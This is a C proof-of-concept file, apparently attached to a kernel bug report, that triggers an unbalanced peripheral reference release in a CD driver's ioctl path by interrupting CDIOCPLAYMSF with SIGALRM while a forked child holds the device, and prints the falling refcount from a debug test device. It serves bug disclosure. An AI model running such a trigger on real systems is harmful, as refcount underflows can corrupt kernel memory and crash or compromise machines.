DF-5329 / poc_ref.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* DF-5273 PoC (self-contained): cdioctl() calls cam_periph_release() * without a matching acquire when cam_periph_hold(periph, PCATCH) is * interrupted by a signal. Each self-interrupted ioctl burns one * peripheral reference. * * A forked holder child issues CDIOCPAUSE on the SAME fd (the evilcd * device stalls it, so the periph stays held). The parent then issues * CDIOCPLAYMSF and self-interrupts with SIGALRM after 100ms: the blocked * cam_periph_hold(PCATCH) returns EINTR and cdioctl()'s extra * cam_periph_release() runs. debug.evilcd.refcnt (the cd periph * refcount) visibly decrements once per interrupted ioctl, with no * close() anywhere. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/cdio.h> #include <sys/sysctl.h> #include <sys/time.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <signal.h> #include <errno.h> static int fd; static int refcnt(void) { int v = -1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0); return (v); } static void unstall(void) { int v = 1; size_t l = sizeof(v); sysctlbyname("debug.evilcd.unstall", &v, NULL, &l, sizeof(int)); } static void sigh(int sig) { } int main(int argc, char **argv) { struct sigaction sa; struct itimerval it; struct ioc_play_msf msf; int round, i, r0, rc; pid_t holder; fd = open(argv[1] ? argv[1] : "/dev/cd1", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } setbuf(stdout, NULL); memset(&sa, 0, sizeof(sa)); sa.sa_handler = sigh; sigemptyset(&sa.sa_mask); sa.sa_flags = 0; /* NO SA_RESTART -> EINTR */ sigaction(SIGALRM, &sa, NULL); memset(&msf, 0, sizeof(msf)); msf.start_s = 2; msf.end_m = 10; r0 = refcnt(); printf("[poc] initial cd periph refcount: %d\n", r0); for (round = 0; round < 3; round++) { int status; holder = fork(); if (holder == 0) { /* child: hold the periph via the stalled PAUSE */ ioctl(fd, CDIOCPAUSE); _exit(0); } usleep(500000); for (i = 0; i < 3; i++) { memset(&it, 0, sizeof(it)); it.it_value.tv_usec = 100000; setitimer(ITIMER_REAL, &it, NULL); errno = 0; rc = ioctl(fd, CDIOCPLAYMSF, &msf); printf("[poc] round %d burn %d: ioctl rc=%d " "errno=%d(%s) refcount=%d\n", round, i, rc, errno, (rc < 0) ? strerror(errno) : "-", refcnt()); } unstall(); waitpid(holder, &status, 0); printf("[poc] round %d done (holder exited), refcount=%d " "(baseline %d)\n", round, refcnt(), r0); } printf("[poc] FINAL refcount=%d, baseline=%d, delta=%d " "(no close() was ever called)\n", refcnt(), r0, refcnt() - r0); return (0); } |